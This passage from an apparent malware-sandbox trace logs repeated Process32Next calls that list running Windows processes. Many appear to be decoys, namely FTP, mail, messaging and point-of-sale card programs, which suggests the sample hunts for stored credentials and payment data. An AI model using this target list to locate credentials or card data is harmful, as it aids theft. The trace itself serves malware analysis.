hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.424] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.427] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.430] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.433] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.436] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.438] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.442] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.444] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.447] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.449] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.452] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.455] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0209.457] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.459] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.463] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0209.466] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0209.469] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0209.471] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0209.474] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0209.477] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0209.480] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0209.483] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.486] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.488] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0209.491] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.494] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0209.508] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0209.513] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0209.516] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0209.519] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0209.522] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0209.567] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0209.570] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0209.572] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0209.574] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0209.578] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0209.581] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0209.584] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0209.586] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0209.589] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0209.592] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0209.594] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0209.597] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0209.600] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0209.603] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0209.607] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0209.609] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0209.612] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0209.615] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0209.617] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0209.621] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0209.625] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0209.627] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0209.631] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0209.635] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0209.638] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0209.641] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0209.644] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0209.647] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0209.650] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0209.653] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0209.656] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0209.658] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0209.660] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0209.662] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0209.664] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0209.667] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0209.669] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0209.671] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0209.673] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0209.675] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0209.677] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0209.679] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0209.681] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0209.684] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0209.686] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0209.688] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0209.690] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0209.692] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0209.694] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0209.736] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0209.738] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, 